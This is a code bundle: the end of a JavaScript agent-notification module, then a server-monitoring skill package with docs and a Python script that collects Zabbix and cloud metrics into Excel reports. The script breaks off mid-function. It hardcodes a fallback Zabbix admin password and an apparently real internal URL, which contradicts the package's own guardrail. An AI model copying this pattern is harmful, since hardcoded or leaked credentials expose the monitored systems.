type: 'warning',
agent: name,
task_id: taskId,
meta: { retry_count: retryCount, ...meta },
});
}
/**
* Fire task.loop — agent detected it is repeating the same step.
* @param {number} loopCount - How many times the step has repeated
* @param {object} [meta]
*/
async function taskLoop(name, taskId, message, loopCount, meta = {}) {
if (!message) throw new Error('message is required for task.loop');
return _deliver({
event: 'task.loop',
title: `name | taskId | task.loop`,
message,
type: 'warning',
agent: name,
task_id: taskId,
is_actionable: true,
meta: { loop_count: loopCount, ...meta },
});
}
/**
* Fire task.error — non-fatal error (task continues after this).
* @param {object} [meta] - error_count, last_error, etc.
*/
async function taskError(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.error');
return _deliver({
event: 'task.error',
title: `name | taskId | task.error`,
message,
type: 'urgent',
agent: name,
task_id: taskId,
is_actionable: true,
..._meta(meta),
});
}
// ── Terminal states ────────────────────────────────────────────────────────────
/**
* Fire task.completed — task finished successfully.
* @param {object} [meta] - total_duration_ms, active_ms, rows_processed, etc.
* @param {string} [meta.download_url] - Promoted to top-level field
* @param {string} [meta.open_url] - Promoted to top-level field
*/
async function taskCompleted(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.completed');
const { download_url, open_url, ...restMeta } = meta;
return _deliver({
event: 'task.completed',
title: `name | taskId | task.completed`,
message,
type: 'success',
agent: name,
task_id: taskId,
...(download_url ? { download_url } : {}),
...(open_url ? { open_url } : {}),
..._meta(restMeta),
});
}
/**
* Fire task.failed — task failed and will not be retried.
* @param {object} [meta] - retry_count, error_count, last_error, total_duration_ms
* @param {string} [meta.open_url] - Promoted to top-level field
*/
async function taskFailed(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.failed');
const { open_url, ...restMeta } = meta;
return _deliver({
event: 'task.failed',
title: `name | taskId | task.failed`,
message,
type: 'urgent',
agent: name,
task_id: taskId,
is_actionable: true,
...(open_url ? { open_url } : {}),
..._meta(restMeta),
});
}
/**
* Fire task.timeout — task exceeded its time limit.
* @param {object} [meta] - total_duration_ms, time_limit_ms, etc.
*/
async function taskTimeout(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.timeout');
return _deliver({
event: 'task.timeout',
title: `name | taskId | task.timeout`,
message,
type: 'urgent',
agent: name,
task_id: taskId,
is_actionable: true,
..._meta(meta),
});
}
/**
* Fire task.cancelled — task was cancelled before completion.
* @param {object} [meta] - total_duration_ms, etc.
*/
async function taskCancelled(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.cancelled');
return _deliver({
event: 'task.cancelled',
title: `name | taskId | task.cancelled`,
message,
type: 'warning',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.stopped — task was stopped intentionally (not an error).
* @param {object} [meta] - total_duration_ms, etc.
*/
async function taskStopped(name, taskId, message = '', meta = {}) {
return _deliver({
event: 'task.stopped',
title: `name | taskId | task.stopped`,
message: message || `name | taskId stopped`,
type: 'info',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.terminated — task was forcibly terminated.
* @param {object} [meta] - total_duration_ms, reason, etc.
*/
async function taskTerminated(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.terminated');
return _deliver({
event: 'task.terminated',
title: `name | taskId | task.terminated`,
message,
type: 'urgent',
agent: name,
task_id: taskId,
is_actionable: true,
..._meta(meta),
});
}
// ── Input ──────────────────────────────────────────────────────────────────────
/**
* Fire input.required — needs a human decision to continue.
* @param {string} [openUrl] - URL to open for the approval UI
* @param {object} [meta]
*/
async function inputRequired(name, message, openUrl = '', meta = {}) {
if (!message) throw new Error('message is required for input.required');
return _deliver({
event: 'input.required',
title: `name | input required`,
message,
type: 'warning',
agent: name,
is_actionable: true,
...(openUrl ? { open_url: openUrl } : {}),
..._meta(meta),
});
}
/**
* Fire input.approved — human approved the request.
*/
async function inputApproved(name, message, meta = {}) {
if (!message) throw new Error('message is required for input.approved');
return _deliver({
event: 'input.approved',
title: `name | input approved`,
message,
type: 'success',
agent: name,
..._meta(meta),
});
}
/**
* Fire input.rejected — human rejected the request.
*/
async function inputRejected(name, message, meta = {}) {
if (!message) throw new Error('message is required for input.rejected');
return _deliver({
event: 'input.rejected',
title: `name | input rejected`,
message,
type: 'warning',
agent: name,
is_actionable: true,
..._meta(meta),
});
}
// ── Output ─────────────────────────────────────────────────────────────────────
/**
* Fire output.generated — produced output (file, report, result, etc.).
* @param {string} [meta.download_url] - Promoted to top-level field
* @param {string} [meta.open_url] - Promoted to top-level field
* @param {string} [meta.image_url] - Promoted to top-level field
*/
async function outputGenerated(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for output.generated');
const { download_url, open_url, image_url, ...restMeta } = meta;
return _deliver({
event: 'output.generated',
title: `name | taskId | output.generated`,
message,
type: 'success',
agent: name,
task_id: taskId,
...(download_url ? { download_url } : {}),
...(open_url ? { open_url } : {}),
...(image_url ? { image_url } : {}),
..._meta(restMeta),
});
}
/**
* Fire output.failed — failed to produce expected output.
* @param {object} [meta] - last_error, etc.
*/
async function outputFailed(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for output.failed');
return _deliver({
event: 'output.failed',
title: `name | taskId | output.failed`,
message,
type: 'urgent',
agent: name,
task_id: taskId,
is_actionable: true,
..._meta(meta),
});
}
// ── Exports ────────────────────────────────────────────────────────────────────
module.exports = {
genRunId,
notify,
track,
taskQueued,
taskStarted,
taskProgress,
taskPaused,
taskWaiting,
taskResumed,
taskRetry,
taskLoop,
taskError,
taskCompleted,
taskFailed,
taskTimeout,
taskCancelled,
taskStopped,
taskTerminated,
inputRequired,
inputApproved,
inputRejected,
outputGenerated,
outputFailed,
};
Collect server monitoring data (Zabbix / Prometheus / Alibaba / Tencent / Huawei Cloud), generate CSV/XLSX reports and send via email or Feishu.
---
name: server-monitor-collector
description: Collect server monitoring data (Zabbix / Prometheus / Alibaba / Tencent / Huawei Cloud), generate CSV/XLSX reports and send via email or Feishu.
triggers:
- collect server monitoring data
- server health report
- host monitoring采集
- zabbix prometheus monitoring
- cloud CVM monitoring
- server daily report cron
- TC3-HMAC-SHA256 signature
homepage: https://clawhub.ai/skills
metadata:
{
"openclaw":
{
"emoji": "🖥️",
"requires": { "bins": ["python3"] },
"install":
[
{
"id": "scripts",
"kind": "file",
"src": "scripts/zabbix_cron.py",
"label": "Main cron entry point (Zabbix + Cloud + Feishu + Email)"
},
{
"id": "scripts-cloud",
"kind": "file",
"src": "scripts/cloud_monitor.py",
"label": "Multi-cloud collector: Alibaba / Tencent / Huawei"
},
{
"id": "scripts-standalone",
"kind": "file",
"src": "scripts/zabbix_monitor.py",
"label": "Zabbix standalone collector + Excel report generator"
},
{
"id": "scripts-mail",
"kind": "file",
"src": "scripts/send_zabbix_report.py",
"label": "Standalone email sender"
},
{
"id": "hermes-skill",
"kind": "file",
"src": "references/zabbix-config.md",
"label": "Configure data sources in ~/.hermes/.env"
},
{
"id": "cloud-config",
"kind": "file",
"src": "references/cloud-config.md",
"label": "Cloud API credentials: Alibaba / Tencent / Huawei"
},
{
"id": "notification-config",
"kind": "file",
"src": "references/notification-config.md",
"label": "Feishu and email notification setup"
}
]
}
}
---
# Server Monitor Collector
Collect server or cloud VM monitoring data, generate formatted Excel reports, and optionally send summaries via email or Feishu/Lark.
## Supported Data Sources
| Source | Auth | Notes |
|--------|------|-------|
| Zabbix | User/Pass or API Token | Host groups, memory, CPU, disk |
| Prometheus | URL only | PromQL queries |
| Alibaba Cloud CMS | AccessKey/SecretKey | ECS, RDS, SLB, EIP metrics |
| Tencent Cloud CAM | SecretID/Key | TC3-HMAC-SHA256 signature |
| Huawei Cloud IAM | AccessKey/SecretKey | IAM Token auth |
Data sources are **auto-detected** from `.env` — configure credentials for any combination and they will all be collected.
## Setup
### 1. Configure Environment
Create/edit `~/.hermes/.env`. Only configure the sources you need:
```bash
# --- Zabbix (pick one auth method) ---
ZABBIX_URL=https://zabbix.example.com/api_jsonrpc.php
ZABBIX_USER=Admin
ZABBIX_PASSWORD=your_password
# ZABBIX_TOKEN=your_api_token # optional, takes priority over password
# --- Alibaba Cloud ---
ALIBABA_ACCESS_KEY_ID=your_key_id
ALIBABA_ACCESS_KEY_SECRET=your_secret
ALIBABA_REGION=cn-hangzhou
# ALIBABA_METRICS=CPUUtilization,MemoryUtilization,InternetInRate # optional
# --- Tencent Cloud ---
TENCENT_SECRET_ID=your_secret_id
TENCENT_SECRET_KEY=your_secret_key
TENCENT_REGION=ap-shanghai
# --- Huawei Cloud ---
HUAWEI_ACCESS_KEY=your_access_key
HUAWEI_SECRET_KEY=your_secret_key
HUAWEI_REGION=cn-east-3
# --- Notifications ---
FEISHU_CHAT_ID=oc_xxxx # optional
SMTP_HOST=smtp.example.com # optional, omit to skip email
SMTP_PORT=465
[email protected]
SMTP_TOKEN=your_token
[email protected]
# --- Report options ---
# TOPN: show top N hosts by memory+CPU score, 0=off (default: 50)
TOPN=50
```
### 2. Install Dependencies
**Zabbix / Prometheus** — no extra deps:
```bash
python3 zabbix_cron.py
```
**Alibaba Cloud** — needs SDK (use `uv` since venv has no pip):
```bash
uv run --with aliyun-python-sdk-core --with aliyun-python-sdk-cms \
python3 cloud_monitor.py
```
**Tencent / Huawei** — pure Python, only `httpx` needed:
```bash
uv run --with httpx python3 cloud_monitor.py
```
### 3. Run Once (Manual Test)
```bash
python3 zabbix_cron.py
```
Expected output:
- `~/.hermes/cron/output/zabbix_monitor.csv`
- `~/.hermes/cron/output/zabbix_monitor.xlsx` (one sheet per host group + overview + TOP sheet)
### 4. Schedule Daily Report
```bash
hermes cron create \
--name "Daily Server Health Report" \
--script zabbix_cron.py \
--schedule "30 9 * * *"
```
## Output Format
### CSV
- UTF-8-BOM encoding — opens correctly in Windows Excel without garbled characters
- Columns: `主机组`, `主机名`, `IP`, `内存可用(GB)`, `内存总量(GB)`, `内存占用率(%)`, `CPU占用率(%)`
### XLSX
- **总览** sheet: summary table with host group stats and alarm counts
- **Group sheets**: one per host group, sorted by memory usage descending
- **TOP50(内存+CPU)** sheet: top 50 hosts across all groups by combined memory+CPU score
- Cell coloring: `🔴 ≥80%` red, `🟠 ≥60%` orange, `🟡 ≥40%` yellow
## Auto-Detection Logic
Scripts detect which sources to use based on which env vars are set:
| Env var present | Data source used |
|----------------|-----------------|
| `ZABBIX_URL` | Zabbix API |
| `ALIBABA_ACCESS_KEY_ID` | Alibaba Cloud CMS (SDK) |
| `TENCENT_SECRET_ID` | Tencent Cloud CAM (TC3签名) |
| `HUAWEI_ACCESS_KEY` | Huawei Cloud IAM (Token) |
| `PROMETHEUS_URL` | Prometheus PromQL |
## Zabbix Host Group Exclusion
These groups are excluded by default (set in `EXCLUDE_GROUPS` in script):
- `Templates*` — template groups
- `Discovered hosts` — Zabbix auto-discovery
## Key Zabbix Item Keys
| Key | Description |
|-----|-------------|
| `vm.memory.size[available]` | Memory available (bytes) |
| `vm.memory.size[total]` | Memory total (bytes) |
| `system.cpu.util` | CPU utilization (%) |
| `vfs.fs.size[/,pused]` | Root disk usage (%) |
## Alarm Thresholds
| Metric | Warning | Alarm |
|--------|---------|-------|
| Memory usage | ≥40% yellow | ≥60% orange, ≥80% red |
| CPU usage | ≥40% yellow | ≥60% orange, ≥80% red |
## Feishu Message Format
Markdown card sent to `FEISHU_CHAT_ID` containing:
- Report timestamp, total hosts, group count
- Top 20 hosts with memory ≥60% or CPU ≥60%
- Color-coded: 🔴≥80%, 🟠≥60%, 🟡≥40%
## Email Format
- Subject: `服务器监控报告 YYYY-MM-DD HH:MM`
- Body: HTML summary matching the Feishu card
- Attachment: `zabbix_monitor.xlsx`
## References
- `references/zabbix-config.md` — Zabbix API details, item keys, auth options
- `references/notification-config.md` — Feishu and email SMTP setup, common providers
- `references/cloud-config.md` — Alibaba / Tencent / Huawei API endpoints, namespaces, SDK usage
## Guardrails
- **Never hardcode credentials** — always use `~/.hermes/.env`
- **Never print full credentials** in logs or chat
- **Never place scripts in web-accessible directories**
- If Zabbix host has no Agent — memory metrics show `N/A`, CPU still works
- Alibaba Cloud `MemoryUtilization` requires Cloud Monitor Agent installed on ECS instance
FILE:references/cloud-config.md
# 云服务商监控配置
## 通用说明
所有云服务商默认不启用——在 `.env` 中配置相应凭证后自动生效。
## 阿里云(Alibaba Cloud CMS)
### 环境变量
```bash
ALIBABA_ACCESS_KEY_ID=your_key_id
ALIBABA_ACCESS_KEY_SECRET=your_secret
ALIBABA_REGION=cn-hangzhou # 你的区域,如 cn-qingdao、cn-shanghai
# 可选:只拉取指定指标(逗号分隔)
# 可用指标: CPUUtilization, MemoryUtilization, InternetInRate, InternetOutRate,
# DiskReadBPS, DiskWriteBPS, SysOM_memMonInfo_util(需Agent)
ALIBABA_METRICS=CPUUtilization,MemoryUtilization,InternetInRate,DiskReadBPS
```
### SDK 安装(uv)
```bash
uv run --with aliyun-python-sdk-core --with aliyun-python-sdk-cms python3 script.py
```
### 命名空间与指标
| 服务 | 命名空间 | 可用指标 |
|------|----------|---------|
| ECS | `acs_ecs_dashboard` | CPUUtilization, InternetInRate, InternetOutRate, DiskReadBPS, DiskWriteBPS |
| RDS | `acs_rds_dashboard` | CpuUsage, MemoryUsage, DiskUsage, IOPSUsage, ConnectionUsage |
| SLB | `acs_slb_dashboard` | InstanceTrafficRX, InstanceTrafficTX, InstanceQps, InstanceRt |
| EIP | `acs_vpc_eip` | net_rx.rate, net_tx.rate, net_in.rate_percentage, net_out.rate_percentage |
> 注意:ECS 基础指标 `CPUUtilization`、`InternetInRate` 等无需云监控 Agent;但 `MemoryUtilization`、`MemoryUsed` 需要在 ECS 实例上安装云监控 Agent。
### API 调用要点
```python
# 返回值是 bytes,必须 .decode() 后再 json.loads()
data = json.loads(client.do_action_with_exception(req).decode("utf-8"))
# Datapoints 是 JSON 字符串,需要再次 json.loads()
pts = json.loads(data["Datapoints"])
# 分页用 NextToken + Length(不是 Page/PageSize)
# 时间参数必须是毫秒时间戳
```
### 元数据查询(查可用指标)
```python
from aliyunsdkcms.request.v20190101 import DescribeMetricMetaListRequest
req = DescribeMetricMetaListRequest.DescribeMetricMetaListRequest()
req.set_Namespace("acs_ecs_dashboard")
req.set_PageSize(200)
```
---
## 腾讯云(Tencent Cloud CAM)
### 环境变量
```bash
TENCENT_SECRET_ID=your_secret_id
TENCENT_SECRET_KEY=your_secret_key
TENCENT_REGION=ap-shanghai # 你的区域,如 ap-beijing、ap-guangzhou
```
### 签名方式
TC3-HMAC-SHA256,Python 手写实现,无需腾讯云 SDK。
### CVM 监控
- **命名空间**:`QCE/CVM`
- **监控端点**:`monitor.tencentcloudapi.com`
- **实例端点**:`cvm.tencentcloudapi.com`
### 签名流程
```
1. CanonicalRequest = HTTP_METHOD + "\n" + CanonicalURI + "\n" + CanonicalQueryString + "\n" + HashedPayload
2. StringToSign = "TC3-HMAC-SHA256\n" + timestamp + "\n" + date + "\n" + hashed_canonical_request
3. Signature = TC3-HMAC-SHA256嵌套(secret_key, date, "tc3_request", StringToSign)
```
---
## 华为云(Huawei Cloud IAM)
### 环境变量
```bash
HUAWEI_ACCESS_KEY=your_access_key
HUAWEI_SECRET_KEY=your_secret_key
HUAWEI_REGION=cn-east-3 # 你的区域,如 cn-north-4、cn-south-1
```
### 认证方式
IAM Token:POST 到 `https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials`
### 关键端点
| 用途 | 端点 |
|------|------|
| IAM Token | `https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials` |
| ECS 列表 | `https://ecs.{region}.myhuaweicloud.com/v1/{project_id}/cloudservers` |
| 监控数据 | `https://ces.{region}.myhuaweicloud.com/V1.0/{project_id}/metric_analytics` |
### 命名空间
- ECS:`SYS.ECS`
- RDS:`SYS.RDS`
- ELB:`SYS.ELB`
FILE:references/notification-config.md
# 飞书 + 邮件发送配置
## 飞书(Feishu/Lark)
### 环境变量
```bash
FEISHU_CHAT_ID=oc_xxxx # 飞书群会话 ID 或用户 open_id
```
### 获取 Chat ID
- **群聊**:在飞书群设置 → 群信息 → 基本信息 → 群 ID
- **单聊**:直接使用用户的 `open_id`(以 `ou_` 开头)
### 消息卡片格式
摘要消息为 Markdown 格式,包含:
- 采集时间、主机总数、主机组数
- 重点关注列表(内存占用≥60% 或 CPU≥60% 的主机,最多20条)
- 告警着色(红色=≥80%,橙色=≥60%,黄色=≥40%)
---
## 邮件发送
### 环境变量
```bash
SMTP_HOST=smtp.example.com
SMTP_PORT=465 # SSL 端口,通常 465
[email protected]
SMTP_TOKEN=your_smtp_token # 163邮箱用授权码,其他邮箱用密码
[email protected]
```
### 常见 SMTP 配置
| 邮箱 | SMTP_HOST | PORT | 说明 |
|------|-----------|------|------|
| 163 | `smtp.163.com` | 465 | 用授权码(非登录密码) |
| QQ | `smtp.qq.com` | 465 | 用授权码 |
| Gmail | `smtp.gmail.com` | 587 | 用应用专用密码 |
### 发送内容
- **主题**:服务器监控报告 `YYYY-MM-DD HH:MM`
- **正文**:HTML 格式的摘要(与飞书卡片内容一致)
- **附件**:`zabbix_monitor.xlsx`(Excel 报告)
### 跳过邮件
如果不想发送邮件,只填 `FEISHU_CHAT_ID` 而不填 `SMTP_*`,则只发飞书不发邮件。
FILE:references/zabbix-config.md
# Zabbix 配置
## 环境变量
```bash
ZABBIX_URL=http://zabbix.example.com/api_jsonrpc.php
ZABBIX_USER=Admin
ZABBIX_PASSWORD=your_password
# 可选:API Token(优先级高于用户名密码)
ZABBIX_TOKEN=optional_api_token
# TOPN: 所有主机按内存+CPU综合降序取前N台,0=关闭(默认50)
TOPN=50
```
## Zabbix API 认证方式
### 方式一:用户名 + 密码(默认)
```python
auth = api_call("user.login", {
"user": ZABBIX_USER,
"password": ZABBIX_PASSWORD,
})
```
### 方式二:API Token(更安全)
在 Zabbix Web UI 生成后填入 `.env`,脚本自动优先使用:
```python
auth = os.environ.get("ZABBIX_TOKEN") # 有值则跳过 login
```
## 核心采集指标
| 指标 Key | 说明 |
|----------|------|
| `vm.memory.size[available]` | 内存可用字节 |
| `vm.memory.size[total]` | 内存总量字节 |
| `vm.memory.size[pavailable]` | 内存可用百分比 |
| `system.cpu.util` | CPU 利用率(所有核心平均) |
| `vfs.fs.size[/,pused]` | 根分区磁盘使用率 |
## 主机组排除规则
以下名称的主机组默认排除(可在脚本中修改 `EXCLUDE_GROUPS`):
- `Templates*`(所有以 Templates 开头的主机组)
- `Discovered hosts`(Zabbix 自动发现的主机)
## 字段说明
- **内存占用率(%)**:`(mem_total - mem_avail) / mem_total * 100`
- **输出路径**:`~/.hermes/cron/output/zabbix_monitor.csv` 和 `.xlsx`
- **编码**:CSV 为 UTF-8-BOM,Windows Excel 打开不乱码
## 无 Agent 时
内存指标依赖 Zabbix Agent。若主机无 Agent:
- `mem_total` 和 `mem_avail` 均返回空
- 内存占用率显示 `N/A`
FILE:references/zabbix_cron.py
#!/usr/bin/env python3
"""
Zabbix 监控报告:采集数据 → XLSX/CSV → 飞书消息 → 邮件
"""
import os, sys, csv, json, smtplib
from datetime import datetime
from urllib.request import urlopen, Request
from urllib.error import URLError
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from collections import defaultdict
ZABBIX_URL = os.environ.get("ZABBIX_URL", "http://zabbix.ops.qiyujoy.com/api_jsonrpc.php")
ZABBIX_USER = os.environ.get("ZABBIX_USER", "Admin")
ZABBIX_PASSWORD = os.environ.get("ZABBIX_PASSWORD", "Rk&E6D5*#aW&")
ZABBIX_TOKEN = os.environ.get("ZABBIX_TOKEN", "")
EXCLUDE_GROUPS = {"Templates","Templates/Applications","Templates/Databases",
"Templates/Modules","Templates/Network devices",
"Templates/Operating systems","Templates/Server hardware",
"Templates/Virtualization","Discovered hosts"}
ITEMS_KEY = {
"memory_avail": "vm.memory.size[available]",
"memory_total": "vm.memory.size[total]",
"cpu": "system.cpu.util",
}
CSV_PATH = "/root/.hermes/cron/output/zabbix_monitor.csv"
XLSX_PATH = "/root/.hermes/cron/output/zabbix_monitor.xlsx"
def api_call(method, params, auth=None):
payload = {"jsonrpc":"2.0","method":method,"params":params,"id":1}
if auth: payload["auth"] = auth
data = json.dumps(payload).encode("utf-8")
req = Request(ZABBIX_URL, data=data, headers={"Content-Type":"application/json"})
try:
with urlopen(req, timeout=60) as resp:
result = json.loads(resp.read().decode("utf-8"))
except URLError as e:
print(f"API 请求失败: {e}"); sys.exit(1)
if "error" in result:
print(f"API 错误: {result['error']}"); sys.exit(1)
return result.get("result",[])
def fetch_all(auth):
groups = api_call("hostgroup.get",{"output":["groupid","name"]}, auth=auth)
groups = [g for g in groups if g["name"] not in EXCLUDE_GROUPS]
hosts = api_call("host.get",{
"output":["hostid","name","host"],
"groupids":[g["groupid"] for g in groups],
"selectGroups":["groupid","name"],
}, auth=auth)
all_items = []
for i in range(0, len(hosts), 100):
batch = [h["hostid"] for h in hosts[i:i+100]]
items = api_call("item.get",{
"output":["itemid","hostid","key_","lastvalue"],
"hostids":batch,
"filter":{"key_":list(ITEMS_KEY.values())},
}, auth=auth)
all_items.extend(items)
item_map = {(it["hostid"], it["key_"]): it.get("lastvalue","") for it in all_items}
rows = []
for host in hosts:
hid = host["hostid"]
gnames = [g["name"] for g in host.get("groups",[])]
valid = [n for n in gnames if n not in EXCLUDE_GROUPS]
if not valid: continue
gname = valid[0]
mem_total = item_map.get((hid, ITEMS_KEY["memory_total"]),"")
mem_avail = item_map.get((hid, ITEMS_KEY["memory_avail"]),"")
cpu = item_map.get((hid, ITEMS_KEY["cpu"]),"")
mt = float(mem_total)/(1024**3) if mem_total else None
ma = float(mem_avail)/(1024**3) if mem_avail else None
cp = float(cpu) if cpu else None
mp = (1 - float(mem_avail)/float(mem_total))*100 if mem_avail and mem_total else None
rows.append({"group":gname,"name":host["name"],"ip":host["host"],
"mem_total_gb":mt,"mem_avail_gb":ma,"mem_used_pct":mp,"cpu_pct":cp})
return rows
def generate_xlsx(rows):
import openpyxl
from openpyxl.styles import Font, PatternFill, Alignment, Border, Side
from openpyxl.utils import get_column_letter
def tb(): s=Side(style="thin",color="CCCCCC"); return Border(left=s,right=s,top=s,bottom=s)
def hdr(cell, text):
cell.value=text; cell.font=Font(name="微软雅黑",bold=True,size=10,color="FFFFFF")
cell.fill=PatternFill("solid",fgColor="4472C4")
cell.alignment=Alignment(horizontal="center",vertical="center"); cell.border=tb()
def pct_color(p, bg):
if p is None: return bg,"000000"
return ("FF4444","FFFFFF") if p>=80 else ("FFAA44","000000") if p>=60 else ("FFEE88","000000") if p>=40 else (bg,"000000")
gr = defaultdict(list)
for r in rows: gr[r["group"]].append(r)
wb = openpyxl.Workbook(); wb.remove(wb.active)
ws_ov = wb.create_sheet(title="总览")
ws_ov.cell(row=1,column=1,value="服务器监控总览").font=Font(name="微软雅黑",bold=True,size=14)
ws_ov.cell(row=1,column=1).alignment=Alignment(horizontal="left")
ws_ov.row_dimensions[1].height=24
ws_ov.cell(row=2,column=1,value=f"采集时间:{datetime.now().strftime('%Y-%m-%d %H:%M')}")
ws_ov.cell(row=2,column=1).font=Font(name="微软雅黑",size=10,color="666666")
ws_ov.cell(row=3,column=1,value=f"共 {len(rows)} 台主机,{len(gr)} 个主机组")
ws_ov.cell(row=3,column=1).font=Font(name="微软雅黑",size=10,color="666666")
for ci,h in enumerate(["主机组","主机数","内存告警(≥80%)","CPU告警(≥80%)"],1):
hdr(ws_ov.cell(row=5,column=ci),h)
ws_ov.row_dimensions[5].height=20
for ri,(gn,gd) in enumerate(sorted(gr.items()),start=6):
ma=sum(1 for r in gd if r["mem_used_pct"] is not None and r["mem_used_pct"]>=80)
ca=sum(1 for r in gd if r["cpu_pct"] is not None and r["cpu_pct"]>=80)
for ci,val in enumerate([gn,len(gd),ma,ca],1):
c=ws_ov.cell(row=ri,column=ci,value=val)
c.font=Font(name="微软雅黑",size=10); c.alignment=Alignment(horizontal="center",vertical="center"); c.border=tb()
if ci==3 and ma>0: c.fill=PatternFill("solid",fgColor="FF4444"); c.font=Font(name="微软雅黑",size=10,bold=True,color="FFFFFF")
elif ci==4 and ca>0: c.fill=PatternFill("solid",fgColor="FF4444"); c.font=Font(name="微软雅黑",size=10,bold=True,color="FFFFFF")
for ci,w in enumerate([24,10,16,16],1): ws_ov.column_dimensions[get_column_letter(ci)].width=w
cols=[("主机名",32),("IP",18),("内存总量(GB)",14),("内存可用(GB)",14),("内存占用率(%)",14),("CPU占用率(%)",13)]
for gn,gd in sorted(gr.items()):
ws=wb.create_sheet(title=gn[:31]); ws.row_dimensions[1].height=20
for ci,(ht,_) in enumerate(cols,1): hdr(ws.cell(row=1,column=ci),ht)
gd.sort(key=lambda x:(-(x["mem_used_pct"] or 0),-(x["cpu_pct"] or 0)))
for ri,r in enumerate(gd,start=2):
bg="EEF2FF" if ri%2==0 else "FFFFFF"
mb,mc=pct_color(r.get("mem_used_pct"),bg); cb,cc=pct_color(r.get("cpu_pct"),bg)
for ci,(val,cbg,cfc,fmt) in enumerate([
(r["name"],bg,"000000",None),(r["ip"],bg,"000000",None),
(r["mem_total_gb"],bg,"000000","0.0"),(r["mem_avail_gb"],bg,"000000","0.0"),
(r["mem_used_pct"],mb,mc,"0.0"),(r["cpu_pct"],cb,cc,"0.0"),
],1):
c=ws.cell(row=ri,column=ci)
if val is None: c.value="N/A"
else:
c.value=val
if fmt: c.number_format=fmt
c.font=Font(name="微软雅黑",size=10,color=cfc)
c.fill=PatternFill("solid",fgColor=cbg)
c.alignment=Alignment(horizontal="center",vertical="center"); c.border=tb()
for ci,(_,w) in enumerate(cols,1): ws.column_dimensions[get_column_letter(ci)].width=w
ws.freeze_panes="A2"
wb.save(XLSX_PATH); print(f"XLSX: {XLSX_PATH}")
def generate_csv(rows):
os.makedirs(os.path.dirname(CSV_PATH),exist_ok=True)
with open(CSV_PATH,"w",newline="",encoding="utf-8-sig") as f:
w=csv.writer(f); w.writerow(["主机组","主机名","IP","内存总量(GB)","内存可用(GB)","内存占用率(%)","CPU占用率(%)"])
for r in rows:
w.writerow([r["group"],r["name"],r["ip"],
f"{r['mem_total_gb']:.1f}" if r['mem_total_gb'] is not None else "N/A",
f"{r['mem_avail_gb']:.1f}" if r['mem_avail_gb'] is not None else "N/A",
f"{r['mem_used_pct']:.1f}" if r['mem_used_pct'] is not None else "N/A",
f"{r['cpu_pct']:.1f}" if r['cpu_pct'] is not None else "N/A",
])
print(f"CSV: {CSV_PATH}")
def build_feishu_summary(rows):
gr=defaultdict(list)
for r in rows: gr[r["group"]].append(r)
warn=[r for r in rows if (r["mem_used_pct"] or 0)>=60 or (r["cpu_pct"] or 0)>=60]
warn.sort(key=lambda x:(-(x["mem_used_pct"] or 0),-(x["cpu_pct"] or 0)))
lines=[f"## 服务器监控报告","",
f"**采集时间**:{datetime.now().strftime('%Y-%m-%d %H:%M')}",
f"共 **{len(rows)}** 台主机,覆盖 **{len(gr)}** 个主机组",""]
if warn:
lines+=["### ⚠ 重点关注(内存占用≥60% 或 CPU≥60%)",""]
lines+=["| 主机名 | 主机组 | 内存占用率(%) | CPU占用率(%) |","|---|---|---|---|"]
for r in warn[:20]: lines.append(f"| {r['name']} | {r['group']} | {r['mem_used_pct']:.1f} | {r['cpu_pct']:.1f} |")
if len(warn)>20: lines.append(f"...(共 {len(warn)} 台,详见附件)")
else:
lines+=["### ✅ 全部正常(无告警主机)",""]
lines+=["",f"完整数据:`{CSV_PATH}`"]
return "\n".join(lines)
def load_env():
p="/root/.hermes/.env"
if os.path.exists(p):
with open(p) as f:
for line in f:
line=line.strip()
if "=" in line and not line.startswith("#"):
k,v=line.split("=",1); os.environ[k]=v.strip()
def send_email(subject, html_body, attachments=None):
load_env()
host=os.environ.get("SMTP_HOST",""); port=os.environ.get("SMTP_PORT","465")
sender=os.environ.get("SMTP_FROM",""); token=os.environ.get("SMTP_TOKEN","")
target=os.environ.get("TARGET_EMAIL","")
if not all([host,sender,token,target]): print("邮件配置不完整,跳过"); return
msg=MIMEMultipart(); msg["From"]=sender; msg["To"]=target; msg["Subject"]=subject
msg.attach(MIMEText(html_body,"html","utf-8"))
for fpath in (attachments or []):
if os.path.exists(fpath):
with open(fpath,"rb") as f:
part=MIMEBase("application","octet-stream"); part.set_payload(f.read())
encoders.encode_base64(part)
part["Content-Disposition"]=f"attachment; filename={os.path.basename(fpath)}"
msg.attach(part)
try:
if port=="465":
with smtplib.SMTP_SSL(host,int(port)) as s: s.login(sender,token); s.sendmail(sender,target,msg.as_string())
else:
with smtplib.SMTP(host,int(port)) as s: s.starttls(); s.login(sender,token); s.sendmail(sender,target,msg.as_string())
print(f"邮件已发送: {target}")
except Exception as e: print(f"邮件发送失败: {e}")
def build_html_body(rows):
gr=defaultdict(list)
for r in rows: gr[r["group"]].append(r)
html=f"<html><body><h2>服务器监控报告</h2><p><b>采集时间:</b>{datetime.now().strftime('%Y-%m-%d %H:%M')}</p><p><b>共 {len(rows)} 台,{len(gr)} 组</b></p>"
for gn,gd in sorted(gr.items()):
html+=f"<h3>{gn} ({len(gd)} 台)</h3>"
html+="<table border='1' cellpadding='4' cellspacing='0' style='border-collapse:collapse;font-size:12px;'>"
html+="<tr bgcolor='#4472C4' style='color:white;'><th>主机名</th><th>IP</th><th>内存总量(GB)</th><th>内存可用(GB)</th><th>内存占用率(%)</th><th>CPU占用率(%)</th></tr>"
for i,r in enumerate(gd):
bg="#EEF2FF" if i%2==0 else "#FFFFFF"
mp=r["mem_used_pct"] or 0; cp=r["cpu_pct"] or 0
ms=("background:#FF4444;color:white;" if mp>=80 else "background:#FFAA44;" if mp>=60 else "background:#FFEE88;" if mp>=40 else "")
